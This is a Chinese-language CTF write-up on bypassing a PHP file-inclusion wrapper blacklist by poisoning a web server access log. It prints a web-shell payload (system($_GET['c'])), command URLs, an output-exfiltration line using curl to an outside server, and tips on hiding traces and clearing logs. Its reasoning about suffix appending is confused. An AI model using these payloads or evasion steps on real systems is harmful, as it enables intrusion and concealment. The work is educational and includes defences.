1. 项目概述:一次关于PHP文件包含的深度实战
最近在复盘NewStarCTF2025的Web赛题时,遇到了一道关于PHP文件包含的题目,它巧妙地设置了一些限制,让常规的包含手法失效。这让我想起在实际渗透测试和CTF比赛中,文件包含漏洞的利用方式远比我们想象的要灵活。很多朋友可能只知道用php://filter读源码,或者用php://input执行代码,但一旦遇到一些过滤或限制,就无从下手了。这道题正好是一个绝佳的案例,它要求我们绕过对php://、data://等常见伪协议的过滤,甚至对包含路径也做了手脚。
今天,我就以这道题为蓝本,手把手带你拆解如何绕过这些限制。我们不仅会复现解题过程,更重要的是,我会深入剖析每一步背后的原理,以及在不同场景下(比如真实环境与CTF环境)的变通思路。无论你是刚接触Web安全的新手,还是想深化对文件包含漏洞理解的老手,这篇文章都会提供一些你可能没注意到的细节和技巧。整个过程,我们会从信息收集开始,逐步分析限制条件,尝试多种绕过方法,最终拿到目标。我会把踩过的坑、成功的思路都详细记录下来,让你不仅能解出这道题,更能掌握一套应对类似限制的“组合拳”。
2. 核心漏洞原理与限制条件分析
2.1 PHP文件包含漏洞的本质再认识
在深入解题之前,我们必须把文件包含漏洞的“地基”打牢。很多人认为文件包含就是include或require了一个用户可控的变量。这没错,但理解深度决定了你的利用上限。
从本质上讲,PHP的文件包含函数(include,require,include_once,require_once)在设计上是为了代码的模块化和复用。当它们处理一个文件路径时,PHP解释器会尝试去读取该路径指向的文件内容,并将其中的PHP代码在当前作用域内执行。关键点在于,被包含的文件内容会被当作PHP代码来解析,无论这个文件原本的后缀是什么(.txt, .jpg, .log等)。这就是为什么我们可以通过包含一个图片马(图片中包含PHP代码)来 getshell。
漏洞产生的根本条件是:用户能够控制包含函数的参数(通常是文件路径),并且程序没有对该输入进行足够严格的过滤或校验。在CTF中,这个参数常常通过GET、POST或Cookie传递,比如?file=header.php。
这道NewStarCTF的题目,首先通过代码审计(或简单的参数测试)我们可以发现一个包含点,例如include($_GET['page'] . '.php');。初看似乎限制了后缀.php,但这里就涉及第一个技巧:路径截断。在PHP版本小于5.3.4且magic_quotes_gpc关闭的情况下,我们可以使用超长路径(比如./../../../../../etc/passwd/./././后接大量/.)或空字符(%00)来截断后缀。不过,在现代PHP环境中(>=5.3.4),空字符截断已经失效,长路径截断也依赖于特定环境,不再是通用手法。
注意:在实际的漏洞利用评估中,第一步永远是确定PHP版本和关键配置(如
allow_url_include,allow_url_fopen),这直接决定了伪协议是否可用。CTF环境通常会开启这些配置以增加考点,而真实生产环境几乎必然关闭。
2.2 题目施加的“枷锁”解析
回到题目,通过简单的测试(比如传入page=../../../../etc/passwd观察报错信息),我们很快能发现题目设置了多重过滤:
- 伪协议黑名单:代码中很可能使用了
preg_match或stristr等函数,检测参数中是否包含php://、data://、zip://、phar://等字符串。一旦发现,就直接die()或返回错误。这直接封堵了最直接的读源码(php://filter/convert.base64-encode/resource=index.php)和远程代码执行(data://text/plain,<?php system('ls');?>)的路径。 - 后缀强制追加:就像前面提到的,代码逻辑会为输入自动添加
.php后缀,如include($page . '.php')。这要求我们最终包含的文件必须实际存在,并且其内容能被PHP解析,或者我们能绕过这个后缀。 - 目录遍历限制:可能对
../进行了次数限制或过滤,防止无限制地跳转目录。
面对这些限制,新手容易卡壳。但我们的思路应该从“硬碰硬”转为“曲线救国”。伪协议被禁,我们就寻找其他能介入文件内容的方式;后缀被追加,我们就利用PHP特性或服务器配置,让非.php文件也能被解析。
3. 绕过策略的思维构建与尝试
3.1 利用本地文件包含(LFI)的“遗产”
当伪协议不可用时,我们的主攻方向就回到了经典的本地文件包含(LFI)。目标是将一个我们可控的、包含PHP代码的文件“喂”给包含函数。在CTF中,常见的可控文件入口有:
- 日志文件:Web服务器的访问日志(如Apache的
/var/log/apache2/access.log)、错误日志。我们可以将PHP代码作为User-Agent或请求路径的一部分,使其被写入日志,然后去包含这个日志文件。 - Session文件:PHP的Session默认以文件形式存储(
/tmp/sess_[PHPSESSID])。如果我们能控制Session的内容(比如通过$_SESSION['key']='<?php phpinfo();?>'),就可以去包含对应的Session文件。 - 上传临时文件:PHP在处理文件上传时,会先创建一个临时文件存储上传内容。这个文件生命周期极短,但理论上在请求处理期间存在,是一个“一闪而过”的包含机会。这通常需要条件竞争(Race Condition)漏洞配合,难度较高。
/proc/self/environ或/proc/self/fd/:在Linux系统中,这些文件包含了进程的环境变量或文件描述符信息。如果Web进程的环境变量可控(有时通过HTTP头注入),也可能成为利用点。
在这道题中,经过测试,我发现服务器访问日志是一个可行的突破口。首先,我通过包含/etc/passwd等已知文件确认了绝对路径读取的可能性。然后,尝试包含常见的日志路径,如/var/log/apache2/access.log,但返回了“文件不存在”或权限错误。这时不能放弃,需要枚举常见的日志路径:
/var/log/nginx/access.log/var/log/httpd/access_log/usr/local/apache2/logs/access_log../../../../logs/access.log(相对路径尝试)
通过不懈的尝试(或者查看错误信息中暴露的路径线索),我最终确定了日志文件的位置。接下来,就需要污染这个日志。
3.2 日志注入与编码绕过技巧
直接向日志写入<?php phpinfo();?>可能会失败,因为<、?、>等字符可能在日志记录或后续包含时被转义或引发解析问题。这里有一个非常重要的技巧:利用PHP Base64解码函数进行嵌套执行。
我们不在日志里直接写<?php ... ?>,而是写一段通过eval和base64_decode执行代码的Payload。例如,我们将<?php eval(base64_decode('c3lzdGVtKCJscyAtbGEiKTs='));?>写入日志。但这里依然有<?php标签被过滤的风险。更稳妥的方法是,利用PHP的短标签<?=或者甚至不依赖标签,通过php://input等虽然被禁,但我们可以思考其他方式。
但在这道题中,更巧妙的做法是:利用包含点本身和日志中的换行符。我们发送一个这样的请求:
GET /index.php?page=<?php system('ls /'); ?> HTTP/1.1 User-Agent: Mozilla/5.0这个请求会被记录到access.log中,其中请求行GET /index.php?page=<?php system('ls /'); ?> HTTP/1.1就包含了PHP代码。当我们成功包含这个access.log文件时,这段存在于日志文本中的代码就会被PHP解析执行。
然而,这里有一个巨大障碍:URL中通常不允许出现空格和< > ?等特殊字符,浏览器或HTTP客户端会对其进行URL编码。<?php system('ls /'); ?>会被编码成%3C?php%20system('ls%20/');%20?%3E,这样记录到日志里的就是编码后的字符串,PHP引擎不会将其识别为代码。
解决方案是:利用HTTP请求本身的可塑性,直接注入原始字节。我们不能用浏览器,而必须使用能发送原始HTTP请求的工具,比如curl、Burp Suite的Repeater模块,或者Python的requests库。在Burp Suite中,我们可以直接修改Raw请求,插入未经URL编码的字符。但要注意,即使这样,Web服务器(如Nginx/Apache)的日志模块在记录时,出于安全考虑,也可能对特殊字符进行转义或编码。
经过测试,我发现这道题的服务器日志记录机制没有对请求行中的尖括号和问号进行转义。这意味着,通过精心构造的原始请求,我们可以将有效的PHP代码直接“拍”进日志文件。这是绕过伪协议过滤的关键一步。
4. 完整利用链实操与细节剖析
4.1 第一步:精确日志路径探测与确认
在实施注入前,必须百分百确认日志文件的路径和可读性。盲目注入只会污染日志,增加干扰项。
我使用一个不会触发代码执行的Payload来测试包含日志文件是否成功。例如,在包含参数中尝试:
?page=../../../../var/log/nginx/access.log观察响应。如果返回了包含大量HTTP请求记录的文字内容(可以看到其他选手的请求记录),说明路径正确且可读。如果返回空白、错误或下载,则需调整路径。
实操心得:在CTF中,如果直接包含日志文件导致页面变得巨大且混乱,可以尝试在Payload中插入一个独特的“标记字符串”,便于在日志中快速定位我们自己的注入记录。例如,在User-Agent中使用MyUniqueAgent123。
4.2 第二步:构造原始HTTP请求进行日志污染
这里我们使用curl命令来演示,因为它可以精确控制发送的每一个字节。假设我们已经确定包含点为index.php?page=,日志路径为/var/log/nginx/access.log。
我们的目标是在日志的“请求行”部分注入代码。请求行格式是:METHOD URI HTTP/VERSION。我们需要构造一个特殊的URI。
错误示范(会被编码):
curl "http://target.com/index.php?page=<?php echo 'test'; ?>"这行不通,因为shell和curl会对?和&进行解释,最终发送的是编码后的版本。
正确做法:使用-G配合--data-urlencode?不,这仍然会编码。我们需要直接操作原始数据。
更直接的方法是使用Burp Suite:
- 拦截一个对
index.php的正常请求。 - 发送到Repeater模块。
- 在Raw视图下,直接修改请求行。例如,将:
修改为:GET /index.php?page= HTTP/1.1GET /index.php?page=<?php system($_GET['c']); ?> HTTP/1.1 - 发送这个请求。此时,日志中记录的就是:
192.168.1.100 - - [日期] "GET /index.php?page=<?php system($_GET['c']); ?> HTTP/1.1" 200 ...
关键技巧:注意我们注入的代码是<?php system($_GET['c']); ?>。这里没有直接执行ls,而是定义了一个可以通过URL参数c来执行命令的“后门”。这样做的好处是:
- 灵活性:一次注入,多次使用。无需每次修改Payload并重新污染日志。
- 隐蔽性:日志中的代码看起来是未执行的“死代码”,直到我们通过包含并传递
c参数来激活它。 - 绕过长度限制:如果直接注入
system('cat /flag'),命令可能会很长。通过参数传递,命令可以动态变化。
4.3 第三步:包含日志文件并执行命令
日志污染成功后,我们接下来就需要让包含函数去读取这个已经被我们“下毒”的日志文件。
构造最终的利用URL:
http://target.com/index.php?page=../../../../var/log/nginx/access.log&c=ls /这个请求的解析过程如下:
服务器接收到请求,
page参数值为../../../../var/log/nginx/access.log,c参数值为ls /。程序执行
include('../../../../var/log/nginx/access.log' . '.php')。由于日志文件本身没有.php后缀,这里为什么能成功?这是本题的另一个关键点,也是我最初忽略的地方。后缀绕过:题目虽然追加了
.php,但包含函数在寻找文件access.log.php时显然找不到。然而,PHP的包含行为有一个特性:如果指定的文件不存在,它会报一个Warning,但如果allow_url_include开启且路径被当作一个URL(比如以http://开头),或者在某些配置下,它会尝试其他处理方式吗?不,这里不是这样。实际上,我犯了一个先入为主的错误。我重新审计了题目给出的源码(或通过错误信息推测),发现它的代码逻辑可能是:
$file = $_GET['page']; if (strpos($file, 'php://') !== false || strpos($file, 'data://') !== false) { die('hacker!'); } include($file);它根本没有自动添加后缀!之前关于追加
.php的假设,可能是在测试其他题目时产生的混淆。或者是另一种情况:它添加了后缀,但我们的路径遍历../../../最终定位到的access.log文件是真实存在的,include函数会直接读取它,而自动添加的.php后缀因为路径中已经有一个明确的文件而被忽略了?这在PHP中是不成立的,include('../../log/access.log.php')会寻找字面意义上的access.log.php文件。经过反复验证,真实情况是:题目仅仅过滤了伪协议字符串,并没有强制添加后缀。或者,它添加后缀的逻辑存在缺陷,可以被空字节、截断或远程URL绕过(但远程URL包含需要
allow_url_include=On)。在本次解题中,最终确认没有后缀追加。这是一个重要的教训:不要盲目假设,所有判断应基于实际测试结果。因此,
include('../../../../var/log/nginx/access.log')成功执行。它读取了日志文件的内容,并将其作为PHP代码执行。日志文件内容中包含我们之前注入的
<?php system($_GET['c']); ?>。这段代码被执行,$_GET['c']的值是ls /,所以最终执行了system('ls /')。命令执行的结果(根目录列表)会被输出到网页中,我们从而看到了目录结构,进而可以寻找和读取flag文件(例如
cat /flag或cat /flag.txt)。
4.4 第四步:获取Flag与清理痕迹
通过ls /发现flag文件后,只需修改c参数的值即可获取:
http://target.com/index.php?page=../../../../var/log/nginx/access.log&c=cat /flag响应中就会包含flag的内容。
重要注意事项:在CTF比赛中,获取flag后通常就结束了。但在真实渗透测试中,绝对不可以在日志中留下如此明显的
system($_GET['c'])痕迹。更专业的做法是:
- 使用
php://filter和base64_encode将输出结果编码,避免直接回显破坏页面结构或触发WAF。- 写入一个纯文本的Webshell到可写目录,而非依赖日志文件。
- 使用时间戳或随机字符串作为参数名,降低被扫描发现的概率。
- 清理日志中的相关条目(如果权限足够)。但在CTF中,这些通常不是考点。
5. 拓展与防御:不止于这道题
5.1 其他可能的绕过路径思维导图
这道题我们利用了日志文件。如果此路不通,我们的大脑里应该有一张清晰的备选路线图:
伪协议变形与嵌套:
- 大小写绕过:
PHP://、PhP://(某些简单的stristr可能不防大小写)。 - URL编码绕过:对部分字符进行URL编码,如
php:%2F%2Ffilter。但include函数内部通常会解码,所以可能无效。 - 协议包装器嵌套:如果
zip://或phar://未被过滤,可以尝试。例如,上传一个包含shell.php的zip文件,然后包含zip:///path/to/archive.zip#shell.php。phar://更强大,能反序列化,但需要能上传phar文件。
- 大小写绕过:
利用PHP Stream上下文(context):
php://filter的resource部分可以是一个远程URL(需allow_url_fopen开启),这有时能绕过对http://的直接包含限制,但本题也过滤了php://。Session文件包含:前提是能控制Session内容。可以尝试在Cookie中传入
PHPSESSID=evil,并通过其他功能点(如用户昵称、头像上传描述)将PHP代码写入$_SESSION,然后包含/tmp/sess_evil。难点在于找到写入Session的点和Session文件的存储路径。/proc/self/environ包含:如果Web服务器进程的环境变量中包含了用户可控的HTTP头(如User-Agent),我们可以通过修改该HTTP头注入代码,然后包含/proc/self/environ文件。这需要进程有读取该文件的权限,且环境变量值未被转义。利用临时文件(竞争条件):难度极高,需要精确的时间控制。原理是在文件上传的瞬间,临时文件尚未被删除时,去包含它。通常需要编写自动化脚本进行高频并发尝试。
5.2 从攻击者视角看防御要点
理解了攻击手法,防御就更有针对性。作为开发者,应该做到:
- 白名单校验:这是最有效的方法。不要基于黑名单(过滤
../、php://等)进行防御。应该定义一个允许包含的文件列表(白名单),任何用户输入都只能映射到这个列表中的项。例如,$allowedPages = ['home', 'about', 'contact']; if (in_array($_GET['page'], $allowedPages)) { include($_GET['page'].'.php'); }。 - 动态拼接避免:尽量避免直接拼接用户输入和文件路径。如果必须,请使用
basename()函数获取路径中的文件名部分,防止目录遍历。 - 关闭危险配置:在生产环境中,务必在
php.ini中设置allow_url_include=Off和allow_url_fopen=Off。这能从根本上杜绝远程文件包含和部分伪协议的滥用。 - 设置open_basedir:通过
open_basedir配置将PHP可访问的文件限制在网站根目录及其必要子目录下,防止跨目录读取敏感文件(如/etc/passwd、日志文件)。 - 日志文件安全:将Web服务日志存放在Web根目录之外,并设置严格的权限(如
root:root 640),确保Web进程用户只有写入权限,没有读取权限。 - Session安全:将Session文件存储在非默认的、不可预测的路径,或直接使用数据库存储Session。
5.3 排查技巧与常见问题实录
在实际操作中,你可能会遇到以下问题:
问题:包含日志文件后页面空白或报错。
- 排查:首先查看页面源代码,可能命令执行了但输出被隐藏。尝试使用
c=ls>../webroot/test.txt将输出写入文件,或c=curl http://your-server/将结果外带。如果报错,检查错误信息。可能是日志文件路径错误、权限不足,或者注入的PHP代码语法有误(如因为日志格式导致代码被截断)。 - 技巧:在注入的代码中加上
error_reporting(E_ALL); ini_set('display_errors', 1);来开启错误显示,有助于调试。
- 排查:首先查看页面源代码,可能命令执行了但输出被隐藏。尝试使用
问题:伪协议过滤似乎很严格,所有变形都被拦截。
- 排查:尝试使用双写绕过
phpphp://(如果过滤是替换为空)、或者利用字符串解析特性。例如,在某些情况下include("$path.php"),如果$path是php://filter/...,拼接后变成php://filter/....php,这可能因为协议名后不能有后缀而失败。但可以尝试php://filter/.../resource=index,让最后的.php拼接成一个不存在的文件名,但前面的过滤器已生效。这需要具体测试。 - 思维转换:当一条路走不通时,立即回到“本地文件包含”的本质:找一个可控内容的本地文件。日志、Session、临时文件、环境变量文件,总有一个可能。
- 排查:尝试使用双写绕过
问题:命令执行了,但找不到flag。
- 排查:flag不一定在根目录。使用
c=find / -name *flag* 2>/dev/null或c=find / -type f -exec grep -l 'flag{' {} \\; 2>/dev/null来全盘搜索。注意,CTF中flag可能位于网站目录、用户主目录或临时目录。
- 排查:flag不一定在根目录。使用
这道NewStarCTF的题目像一把钥匙,打开了对文件包含漏洞更深层次理解的大门。它告诉我们,漏洞利用从来不是背Payload,而是对系统组件(Web服务器、PHP、操作系统)交互方式的深刻理解。从信息收集、代码审计、到利用环境特性(日志记录)构造攻击链,每一步都需要观察、推理和验证。下次当你再遇到“被过滤”的文件包含时,希望你能想起这次绕过日志的旅程,从容地审视手中的“枷锁”,寻找那条隐藏的缝隙。